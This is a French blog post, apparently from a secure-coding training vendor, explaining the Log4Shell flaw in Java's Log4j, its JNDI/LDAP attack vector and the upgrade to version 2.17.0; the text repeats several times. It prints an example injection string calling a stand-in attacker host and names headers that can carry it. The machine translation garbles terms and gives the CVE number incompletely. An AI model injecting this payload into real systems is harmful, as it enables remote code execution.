La vulnérabilité Log4j expliquée - Son vecteur d'attaque et comment l'empêcher
Le 9 décembre, un exploit de 0 jour dans la bibliothèque Java Log4j a été révélé. CVE-44228, doublé Coque Log 4, a reçu une note de « gravité élevée » car l'exploit peut entraîner l'exécution de code à distance (RIZ). De plus, log4j-core est l'une des bibliothèques de journalisation Java les plus couramment utilisées et met donc en danger des millions d'applications.
Vous voulez améliorer rapidement vos compétences en vous attaquant à Log4Shell ?
Nous avons créé une vitrine qui vous emmène de l'idée de base de Log4Shell à la découverte des exploits de cette vulnérabilité dans un simulateur appelé Mission. Au cours de cette mission, nous vous expliquerons comment la vulnérabilité Log4j peut avoir un impact sur votre infrastructure et vos applications. Cliquez ici pour accéder directement à la vitrine, or poursuivez votre lecture pour en savoir plus sur cette vulnérabilité.
De vieilles nouvelles ?
L'exploit n'est pas nouveau. Déjà dans leur conférence BlackHat 2016, des chercheurs en sécurité Alvaro Muñoz e Oleksandr Mirosh a souligné que »les applications ne doivent pas effectuer de recherches JNDI avec des données non fiables», et a illustré comment une injection JNDI/LDAP ciblée pouvait conduire à l'exécution de code à distance. Et c'est exactement ce qui est au cœur de Log4Shell.
Vecteur d'attaque
The Utile Injection Charge of Log4Shell ressemble à ceci :
$ {jndi:ldap : //attacker.host/xyz}
Pour comprendre cela, nous devons connaître le langage d'expression Java (EL). Expressions écrites dans la syntaxe suivante : $ {expr} sera évalué lors de l'exécution. Par exemple, $ {java:version} renverra la version Java utilisée.
Ensuite, il y a la JNDI, ou Java directory and directory interface, qui est une API qui permet de se connecter à des services à l'aide de protocoles tels que LDAP, DNS, RMI, etc. pour récupérer des données ou des ressources. En termes simples, dans notre exemple de charge utile malveillante ci-dessus, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Sa réponse pourrait, par exemple, pointer vers un fichier de classe Java contenant du code malveillant, qui sera en retour exécuté sur le serveur vulnérable.
Ce qui rend cette vulnérabilité si problématique, c'est que Log4j évalue toutes les entrées de journal et effectue des recherches sur toutes les entrées utilisateur enregistrées en syntaxe EL avec le préfixe « jndi ». La charge utile peut être injectée à n'importe quel endroit où les utilisateurs peuvent saisir des données, comme les champs de formulaire. De plus, les en-têtes HTTP, tels que User Agent et X-Forwarded-Pour, et d'autres en-têtes, peuvent être personnalisés pour transporter la charge utile.
Pour découvrir l'exploit par vous-même, rendez-vous sur notre vitrine et passez à l'étape 2 : « L'impact de l'expérience ».
Prevention : awareness
La mise à niveau est l'action recommandée pour toutes les applications, car Log4j a corrigé le code vulnérable. Les versions 2.15.0 et 2.16.0 contenaient toutefois un DDoS et d'autres vulnérabilités, ce qui signifie qu'à partir de fin décembre, il est recommandé de passer à la version 2.17.0.
En tant que développeurs qui écrivent du code, nous devons toujours tenir compte de la sécurité. Log4Shell nous a appris que l'utilisation de frameworks ou de bibliothèques tiers comporte des risques. Nous devons être conscients du fait que la sécurité de notre application peut être compromise par l'utilisation de sources externes, que nous supposons naïvement sûres.
Cette vulnérabilité aurait-elle pu être évitée ? Oui et non D'une part, les développeurs ne peuvent pas faire quoi que ce soit car des composants vulnérables sont introduits via des logiciels tiers. D'un autre côté, la leçon à en tirer est une leçon qui a été répétée à de nombreuses reprises, c'est-à-dire qu'il ne faut jamais se fier aux entrées de l'utilisateur.
Secure Code Warrior pense que les développeurs soucieux de la sécurité constituent la meilleure solution pour empêcher l'apparition de vulnérabilités dans le code. Comme SCW propose une formation à grande échelle spécifique au framework de programmation, les entreprises clientes ont pu localiser rapidement les développeurs Java concernés en utilisant les données de reporting. Ils se sont également appuyés sur leurs champions de la sécurité formés par SCW pour accélérer la mise à niveau de Log4j.
Pour les développeurs Java en particulier, Secure Code Warrior propose Sensei, un plugin IntelliJ gratuit. Cet outil d'analyse de code basé sur des règles peut être utilisé pour appliquer les directives de codage, ainsi que pour prévenir et corriger les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser notre outil prêt à l'emploi livres de cuisine. Participez à notre recettes, et n'oubliez pas de télécharger notre Log4j Recetbook qui vous aidera à localiser et à corriger la vulnérabilité Log4Shell en un clin d'œil.
Améliorez vos compétences en matière de défense contre Log4Shell
Vous souhaitez mettre en pratique ce que vous avez appris dans ce billet de blog ? Notre vitrine peut vous aider. Au début de la présentation, vous aurez un aperçu rapide de cette vulnérabilité, puis vous serez redirigé vers un environnement simulé où vous pourrez essayer l'exploit avec des instructions guidées.
En décembre 2021, une faille de sécurité critique Log4Shell a été révélée dans la bibliothèque Java Log4j. Dans cet article, nous présentons la vulnérabilité Log4Shell de la manière la plus simple pour que vous puissiez en saisir les bases et vous présenter une mission : un terrain de jeu où vous pouvez essayer d'exploiter un site Web simulé en utilisant la connaissance de cette vulnérabilité.
Secure Code Warrior 在整个软件开发周期中保障代码安全，并营造将网络安全置于首位的企业文化。无论您是应用安全负责人、开发人员、信息安全主管，还是其他任何参与安全工作的人员，我们都能协助您的组织降低不安全代码带来的风险。
预约演示
Laura Verheyde est une développeuse de logiciels chez Secure Code Warrior qui se concentre sur la recherche de vulnérabilités et la création de contenu pour les missions et les laboratoires de codage.
Le 9 décembre, un exploit de 0 jour dans la bibliothèque Java Log4j a été révélé. CVE-44228, doublé Coque Log 4, a reçu une note de « gravité élevée » car l'exploit peut entraîner l'exécution de code à distance (RIZ). De plus, log4j-core est l'une des bibliothèques de journalisation Java les plus couramment utilisées et met donc en danger des millions d'applications.
Vous voulez améliorer rapidement vos compétences en vous attaquant à Log4Shell ?
Nous avons créé une vitrine qui vous emmène de l'idée de base de Log4Shell à la découverte des exploits de cette vulnérabilité dans un simulateur appelé Mission. Au cours de cette mission, nous vous expliquerons comment la vulnérabilité Log4j peut avoir un impact sur votre infrastructure et vos applications. Cliquez ici pour accéder directement à la vitrine, or poursuivez votre lecture pour en savoir plus sur cette vulnérabilité.
De vieilles nouvelles ?
L'exploit n'est pas nouveau. Déjà dans leur conférence BlackHat 2016, des chercheurs en sécurité Alvaro Muñoz e Oleksandr Mirosh a souligné que »les applications ne doivent pas effectuer de recherches JNDI avec des données non fiables», et a illustré comment une injection JNDI/LDAP ciblée pouvait conduire à l'exécution de code à distance. Et c'est exactement ce qui est au cœur de Log4Shell.
Vecteur d'attaque
The Utile Injection Charge of Log4Shell ressemble à ceci :
$ {jndi:ldap : //attacker.host/xyz}
Pour comprendre cela, nous devons connaître le langage d'expression Java (EL). Expressions écrites dans la syntaxe suivante : $ {expr} sera évalué lors de l'exécution. Par exemple, $ {java:version} renverra la version Java utilisée.
Ensuite, il y a la JNDI, ou Java directory and directory interface, qui est une API qui permet de se connecter à des services à l'aide de protocoles tels que LDAP, DNS, RMI, etc. pour récupérer des données ou des ressources. En termes simples, dans notre exemple de charge utile malveillante ci-dessus, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Sa réponse pourrait, par exemple, pointer vers un fichier de classe Java contenant du code malveillant, qui sera en retour exécuté sur le serveur vulnérable.
Ce qui rend cette vulnérabilité si problématique, c'est que Log4j évalue toutes les entrées de journal et effectue des recherches sur toutes les entrées utilisateur enregistrées en syntaxe EL avec le préfixe « jndi ». La charge utile peut être injectée à n'importe quel endroit où les utilisateurs peuvent saisir des données, comme les champs de formulaire. De plus, les en-têtes HTTP, tels que User Agent et X-Forwarded-Pour, et d'autres en-têtes, peuvent être personnalisés pour transporter la charge utile.
Pour découvrir l'exploit par vous-même, rendez-vous sur notre vitrine et passez à l'étape 2 : « L'impact de l'expérience ».
Prevention : awareness
La mise à niveau est l'action recommandée pour toutes les applications, car Log4j a corrigé le code vulnérable. Les versions 2.15.0 et 2.16.0 contenaient toutefois un DDoS et d'autres vulnérabilités, ce qui signifie qu'à partir de fin décembre, il est recommandé de passer à la version 2.17.0.
En tant que développeurs qui écrivent du code, nous devons toujours tenir compte de la sécurité. Log4Shell nous a appris que l'utilisation de frameworks ou de bibliothèques tiers comporte des risques. Nous devons être conscients du fait que la sécurité de notre application peut être compromise par l'utilisation de sources externes, que nous supposons naïvement sûres.
Cette vulnérabilité aurait-elle pu être évitée ? Oui et non D'une part, les développeurs ne peuvent pas faire quoi que ce soit car des composants vulnérables sont introduits via des logiciels tiers. D'un autre côté, la leçon à en tirer est une leçon qui a été répétée à de nombreuses reprises, c'est-à-dire qu'il ne faut jamais se fier aux entrées de l'utilisateur.
Secure Code Warrior pense que les développeurs soucieux de la sécurité constituent la meilleure solution pour empêcher l'apparition de vulnérabilités dans le code. Comme SCW propose une formation à grande échelle spécifique au framework de programmation, les entreprises clientes ont pu localiser rapidement les développeurs Java concernés en utilisant les données de reporting. Ils se sont également appuyés sur leurs champions de la sécurité formés par SCW pour accélérer la mise à niveau de Log4j.
Pour les développeurs Java en particulier, Secure Code Warrior propose Sensei, un plugin IntelliJ gratuit. Cet outil d'analyse de code basé sur des règles peut être utilisé pour appliquer les directives de codage, ainsi que pour prévenir et corriger les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser notre outil prêt à l'emploi livres de cuisine. Participez à notre recettes, et n'oubliez pas de télécharger notre Log4j Recetbook qui vous aidera à localiser et à corriger la vulnérabilité Log4Shell en un clin d'œil.
Améliorez vos compétences en matière de défense contre Log4Shell
Vous souhaitez mettre en pratique ce que vous avez appris dans ce billet de blog ? Notre vitrine peut vous aider. Au début de la présentation, vous aurez un aperçu rapide de cette vulnérabilité, puis vous serez redirigé vers un environnement simulé où vous pourrez essayer l'exploit avec des instructions guidées.
Le 9 décembre, un exploit de 0 jour dans la bibliothèque Java Log4j a été révélé. CVE-44228, doublé Coque Log 4, a reçu une note de « gravité élevée » car l'exploit peut entraîner l'exécution de code à distance (RIZ). De plus, log4j-core est l'une des bibliothèques de journalisation Java les plus couramment utilisées et met donc en danger des millions d'applications.
Vous voulez améliorer rapidement vos compétences en vous attaquant à Log4Shell ?
Nous avons créé une vitrine qui vous emmène de l'idée de base de Log4Shell à la découverte des exploits de cette vulnérabilité dans un simulateur appelé Mission. Au cours de cette mission, nous vous expliquerons comment la vulnérabilité Log4j peut avoir un impact sur votre infrastructure et vos applications. Cliquez ici pour accéder directement à la vitrine, or poursuivez votre lecture pour en savoir plus sur cette vulnérabilité.
De vieilles nouvelles ?
L'exploit n'est pas nouveau. Déjà dans leur conférence BlackHat 2016, des chercheurs en sécurité Alvaro Muñoz e Oleksandr Mirosh a souligné que »les applications ne doivent pas effectuer de recherches JNDI avec des données non fiables», et a illustré comment une injection JNDI/LDAP ciblée pouvait conduire à l'exécution de code à distance. Et c'est exactement ce qui est au cœur de Log4Shell.
Vecteur d'attaque
The Utile Injection Charge of Log4Shell ressemble à ceci :
$ {jndi:ldap : //attacker.host/xyz}
Pour comprendre cela, nous devons connaître le langage d'expression Java (EL). Expressions écrites dans la syntaxe suivante : $ {expr} sera évalué lors de l'exécution. Par exemple, $ {java:version} renverra la version Java utilisée.
Ensuite, il y a la JNDI, ou Java directory and directory interface, qui est une API qui permet de se connecter à des services à l'aide de protocoles tels que LDAP, DNS, RMI, etc. pour récupérer des données ou des ressources. En termes simples, dans notre exemple de charge utile malveillante ci-dessus, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Sa réponse pourrait, par exemple, pointer vers un fichier de classe Java contenant du code malveillant, qui sera en retour exécuté sur le serveur vulnérable.
Ce qui rend cette vulnérabilité si problématique, c'est que Log4j évalue toutes les entrées de journal et effectue des recherches sur toutes les entrées utilisateur enregistrées en syntaxe EL avec le préfixe « jndi ». La charge utile peut être injectée à n'importe quel endroit où les utilisateurs peuvent saisir des données, comme les champs de formulaire. De plus, les en-têtes HTTP, tels que User Agent et X-Forwarded-Pour, et d'autres en-têtes, peuvent être personnalisés pour transporter la charge utile.
Pour découvrir l'exploit par vous-même, rendez-vous sur notre vitrine et passez à l'étape 2 : « L'impact de l'expérience ».
Prevention : awareness
La mise à niveau est l'action recommandée pour toutes les applications, car Log4j a corrigé le code vulnérable. Les versions 2.15.0 et 2.16.0 contenaient toutefois un DDoS et d'autres vulnérabilités, ce qui signifie qu'à partir de fin décembre, il est recommandé de passer à la version 2.17.0.
En tant que développeurs qui écrivent du code, nous devons toujours tenir compte de la sécurité. Log4Shell nous a appris que l'utilisation de frameworks ou de bibliothèques tiers comporte des risques. Nous devons être conscients du fait que la sécurité de notre application peut être compromise par l'utilisation de sources externes, que nous supposons naïvement sûres.
Cette vulnérabilité aurait-elle pu être évitée ? Oui et non D'une part, les développeurs ne peuvent pas faire quoi que ce soit car des composants vulnérables sont introduits via des logiciels tiers. D'un autre côté, la leçon à en tirer est une leçon qui a été répétée à de nombreuses reprises, c'est-à-dire qu'il ne faut jamais se fier aux entrées de l'utilisateur.
Secure Code Warrior pense que les développeurs soucieux de la sécurité constituent la meilleure solution pour empêcher l'apparition de vulnérabilités dans le code. Comme SCW propose une formation à grande échelle spécifique au framework de programmation, les entreprises clientes ont pu localiser rapidement les développeurs Java concernés en utilisant les données de reporting. Ils se sont également appuyés sur leurs champions de la sécurité formés par SCW pour accélérer la mise à niveau de Log4j.
Pour les développeurs Java en particulier, Secure Code Warrior propose Sensei, un plugin IntelliJ gratuit. Cet outil d'analyse de code basé sur des règles peut être utilisé pour appliquer les directives de codage, ainsi que pour prévenir et corriger les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser notre outil prêt à l'emploi livres de cuisine. Participez à notre recettes, et n'oubliez pas de télécharger notre Log4j Recetbook qui vous aidera à localiser et à corriger la vulnérabilité Log4Shell en un clin d'œil.
Améliorez vos compétences en matière de défense contre Log4Shell
Vous souhaitez mettre en pratique ce que vous avez appris dans ce billet de blog ? Notre vitrine peut vous aider. Au début de la présentation, vous aurez un aperçu rapide de cette vulnérabilité, puis vous serez redirigé vers un environnement simulé où vous pourrez essayer l'exploit avec des instructions guidées.
点击下方链接，下载此资源的PDF文件。
Secure Code Warrior 在整个软件开发周期中保障代码安全，并营造将网络安全置于首位的企业文化。无论您是应用安全负责人、开发人员、信息安全主管，还是其他任何参与安全工作的人员，我们都能协助您的组织降低不安全代码带来的风险。
显示报告预约演示
Laura Verheyde est une développeuse de logiciels chez Secure Code Warrior qui se concentre sur la recherche de vulnérabilités et la création de contenu pour les missions et les laboratoires de codage.
Le 9 décembre, un exploit de 0 jour dans la bibliothèque Java Log4j a été révélé. CVE-44228, doublé Coque Log 4, a reçu une note de « gravité élevée » car l'exploit peut entraîner l'exécution de code à distance (RIZ). De plus, log4j-core est l'une des bibliothèques de journalisation Java les plus couramment utilisées et met donc en danger des millions d'applications.
Vous voulez améliorer rapidement vos compétences en vous attaquant à Log4Shell ?
Nous avons créé une vitrine qui vous emmène de l'idée de base de Log4Shell à la découverte des exploits de cette vulnérabilité dans un simulateur appelé Mission. Au cours de cette mission, nous vous expliquerons comment la vulnérabilité Log4j peut avoir un impact sur votre infrastructure et vos applications. Cliquez ici pour accéder directement à la vitrine, or poursuivez votre lecture pour en savoir plus sur cette vulnérabilité.
De vieilles nouvelles ?
L'exploit n'est pas nouveau. Déjà dans leur conférence BlackHat 2016, des chercheurs en sécurité Alvaro Muñoz e Oleksandr Mirosh a souligné que »les applications ne doivent pas effectuer de recherches JNDI avec des données non fiables», et a illustré comment une injection JNDI/LDAP ciblée pouvait conduire à l'exécution de code à distance. Et c'est exactement ce qui est au cœur de Log4Shell.
Vecteur d'attaque
The Utile Injection Charge of Log4Shell ressemble à ceci :
$ {jndi:ldap : //attacker.host/xyz}
Pour comprendre cela, nous devons connaître le langage d'expression Java (EL). Expressions écrites dans la syntaxe suivante : $ {expr} sera évalué lors de l'exécution. Par exemple, $ {java:version} renverra la version Java utilisée.
Ensuite, il y a la JNDI, ou Java directory and directory interface, qui est une API qui permet de se connecter à des services à l'aide de protocoles tels que LDAP, DNS, RMI, etc. pour récupérer des données ou des ressources. En termes simples, dans notre exemple de charge utile malveillante ci-dessus, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Sa réponse pourrait, par exemple, pointer vers un fichier de classe Java contenant du code malveillant, qui sera en retour exécuté sur le serveur vulnérable.
Ce qui rend cette vulnérabilité si problématique, c'est que Log4j évalue toutes les entrées de journal et effectue des recherches sur toutes les entrées utilisateur enregistrées en syntaxe EL avec le préfixe « jndi ». La charge utile peut être injectée à n'importe quel endroit où les utilisateurs peuvent saisir des données, comme les champs de formulaire. De plus, les en-têtes HTTP, tels que User Agent et X-Forwarded-Pour, et d'autres en-têtes, peuvent être personnalisés pour transporter la charge utile.
Pour découvrir l'exploit par vous-même, rendez-vous sur notre vitrine et passez à l'étape 2 : « L'impact de l'expérience ».
Prevention : awareness
La mise à niveau est l'action recommandée pour toutes les applications, car Log4j a corrigé le code vulnérable. Les versions 2.15.0 et 2.16.0 contenaient toutefois un DDoS et d'autres vulnérabilités, ce qui signifie qu'à partir de fin décembre, il est recommandé de passer à la version 2.17.0.
En tant que développeurs qui écrivent du code, nous devons toujours tenir compte de la sécurité. Log4Shell nous a appris que l'utilisation de frameworks ou de bibliothèques tiers comporte des risques. Nous devons être conscients du fait que la sécurité de notre application peut être compromise par l'utilisation de sources externes, que nous supposons naïvement sûres.
Cette vulnérabilité aurait-elle pu être évitée ? Oui et non D'une part, les développeurs ne peuvent pas faire quoi que ce soit car des composants vulnérables sont introduits via des logiciels tiers. D'un autre côté, la leçon à en tirer est une leçon qui a été répétée à de nombreuses reprises, c'est-à-dire qu'il ne faut jamais se fier aux entrées de l'utilisateur.
Secure Code Warrior pense que les développeurs soucieux de la sécurité constituent la meilleure solution pour empêcher l'apparition de vulnérabilités dans le code. Comme SCW propose une formation à grande échelle spécifique au framework de programmation, les entreprises clientes ont pu localiser rapidement les développeurs Java concernés en utilisant les données de reporting. Ils se sont également appuyés sur leurs champions de la sécurité formés par SCW pour accélérer la mise à niveau de Log4j.
Pour les développeurs Java en particulier, Secure Code Warrior propose Sensei, un plugin IntelliJ gratuit. Cet outil d'analyse de code basé sur des règles peut être utilisé pour appliquer les directives de codage, ainsi que pour prévenir et corriger les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser notre outil prêt à l'emploi livres de cuisine. Participez à notre recettes, et n'oubliez pas de télécharger notre Log4j Recetbook qui vous aidera à localiser et à corriger la vulnérabilité Log4Shell en un clin d'œil.
Améliorez vos compétences en matière de défense contre Log4Shell
Vous souhaitez mettre en pratique ce que vous avez appris dans ce billet de blog ? Notre vitrine peut vous aider. Au début de la présentation, vous aurez un aperçu rapide de cette vulnérabilité, puis vous serez redirigé vers un environnement simulé où vous pourrez essayer l'exploit avec des instructions guidées.
%20(1).avif)
.avif)
